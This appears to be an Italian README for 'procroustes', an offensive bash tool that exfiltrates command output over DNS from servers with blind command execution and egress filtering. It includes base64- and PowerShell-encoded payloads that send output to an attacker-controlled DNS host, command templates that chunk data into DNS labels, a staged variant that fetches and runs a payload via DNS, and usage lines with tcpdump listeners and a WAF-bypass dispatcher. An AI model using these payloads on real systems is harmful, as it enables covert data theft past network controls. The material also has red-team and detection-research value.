
Uno script bash che automatizza l'esfiltrazione di dati tramite DNS nel caso in cui si abbia un'esecuzione di comandi cieca su un server con filtro di uscita.
Uno script bash che automatizza l'esfiltrazione di dati tramite DNS nel caso in cui abbiamo un'esecuzione cieca di comandi su un server dove tutte le connessioni in uscita tranne il DNS sono bloccate. Lo script attualmente supporta sh, bash e PowerShell ed è compatibile con l'esecuzione di comandi di tipo exec (ad es. java.lang.Runtime.exec).
Non staged:
Staged:
Per il suo funzionamento, lo script prende come input il comando che vogliamo eseguire sul server di destinazione e lo trasforma in base alla shell di destinazione per permettere che il suo output venga esfiltrato tramite DNS. Dopo che il comando è stato trasformato, viene passato al "dispatcher". Il dispatcher è un programma fornito dall'utente ed è responsabile di prendere in input un comando e farlo eseguire sul server di destinazione con qualsiasi mezzo necessario (ad es. sfruttando una vulnerabilità). Dopo che il comando è stato eseguito sul server di destinazione, ci si aspetta che attivi richieste DNS al nostro server DNS contenenti blocchi dei nostri dati. Lo script rimane in ascolto di tali richieste finché l'output del comando fornito dall'utente non è completamente esfiltrato.
Di seguito sono riportate le trasformazioni di comando supportate, generate per l'esfiltrazione del comando: ls
sh:
sh -c $@|base64${IFS}-d|sh . echo IGRpZyBAMCArdHJpZXM9NSBgKGxzKXxiYXNlNjQgLXcwfHdjIC1jYC5sZW4xNjAzNTQxMTc4LndoYXRldi5lcgo=
bash:
bash -c {echo,IG5zbG9va3VwIGAobHMpfGJhc2U2NCAtdzB8d2MgLWNgLmxlbi4xNjAzMDMwNTYwLndoYXRldi5lcgo=}|{base64,-d}|bash
powershell:
powershell -enc UgBlAHMAbwBsAHYAZQAtAEQAbgBzAE4AYQBtAGUAIAAkACgAIgB7ADAAfQAuAHsAMQB9AC4AewAyAH0AIgAgAC0AZgAgACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAoAGwAcwApACkAKQAuAGwAZQBuAGcAdABoACkALAAiAGwAZQBuACIALAAiADEANgAwADMAMAAzADAANAA4ADgALgB3AGgAYQB0AGUAdgAuAGUAcgAiACkACgA=
./procroustes_chunked.sh -h whatev.er -d "dig @0 +tries=5" -x dispatcher_examples/local_bash.sh -- 'ls -lha|grep secret' < <(stdbuf -oL tcpdump --immediate -l -i any udp port 53)
stdbuf -oL tcpdump --immediate -l -i any udp port 53|./procroustes_chunked.sh -w ps -h whatev.er -d "Resolve-DnsName -Server wsl2_IP -Name" -x dispatcher_examples/local_powershell_wsl2.sh -- 'gci | % {$_.Name}'
./procroustes_chunked.sh -w ps -h yourdns.host -d "Resolve-DnsName" -x dispatcher_examples/curl_waf.sh -- 'gci | % {$_.Name}' < <(stdbuf -oL ssh user@HOST 'sudo tcpdump --immediate -l udp port 53')
./procroustes_chunked.sh --help
In poche parole, supponendo di voler esfiltrare alcuni dati che devono essere suddivisi in quattro blocchi per poter essere trasmessi tramite DNS:
Alcune delle loro differenze possono essere illustrate anche attraverso i comandi modello usati per bash:
procroustes_chunked/bash:
%DNS_TRIGGER% `(%CMD%)|base64 -w0|cut -b$((%INDEX%+1))-$((%INDEX%+%COUNT%))'`.%UNIQUE_DNS_HOST%
procroustes_full/bash:
(%CMD%)|base64 -w0|echo $(cat)--|grep -Eo '.{1,%LABEL_SIZE%}'|xargs -n%NLABELS% echo|tr ' ' .|awk '{printf "%s.%s%s\n",$1,NR,"%UNIQUE_DNS_HOST%"}'|xargs -P%THREADS% -n1 %DNS_TRIGGER%
procroustes_full/bash/staged:
(seq %ITERATIONS%|%S_DNS_TRIGGGER% $(cat).%UNIQUE_DNS_HOST%|tr . \ |printf %02x $(cat)|xxd -r -p)|bash
[1] Per la versione staged, il comando viene scaricato tramite DNS, quindi la dimensione elencata è anche la dimensione totale del payload.
[2] In procroustes_chunked, il dispatcher viene chiamato più volte e così anche il comando fornito che dovrebbe essere eseguito sul server (fino a quando tutto il suo output non viene esfiltrato). Questo comportamento non è ideale nel caso in cui la consegna dei comandi al server (cioè chiamando il dispatcher) sia intensiva in termini di tempo/risorse.
Potrebbe anche causare problemi nel caso in cui il comando che stiamo eseguendo sul server non sia idempotente (funzionalmente o per output, ad es. "ls;rm file") o sia intensivo in termini di tempo/risorse (ad es. find / -name secret). Una soluzione alternativa in questo caso è di salvare prima l'output del comando in un file (ad es. /tmp/file) e poi usare lo script per leggere quel file.
[3] Nella versione staged abbiamo l'overhead del tempo necessario per ottenere il payload effettivo tramite DNS. Va notato che lo script utilizza record A per ottenere il payload effettivo. Anche se questo permette al nostro traffico di mimetizzarsi meglio con il traffico regolare dell'ambiente di destinazione, offre una capacità di canale limitata (ad es. 4 byte per richiesta). Potremmo utilizzare altri tipi di record come TXT e ridurre al minimo il tempo di download dello stage (quasi zero) e la dimensione dello stager.
| procroustes_chunked | procroustes_full | procroustes_full_staged |
|---|
| overhead dimensione payload (bash/PowerShell) | 150*NLABELS/500*NLABELS (+CMD_LEN) | 300/800 (+CMD_LEN) | 150/400[1] |
| chiamate dispatcher # | #output/(LABEL_SIZE*NLABELS)[2] | 1 | 1 |
| velocità (bash/PowerShell) | ✔/✔ | ✔/✔ | ✓/✓[3] |
| difficoltà di configurazione | facile | facile+ | medio |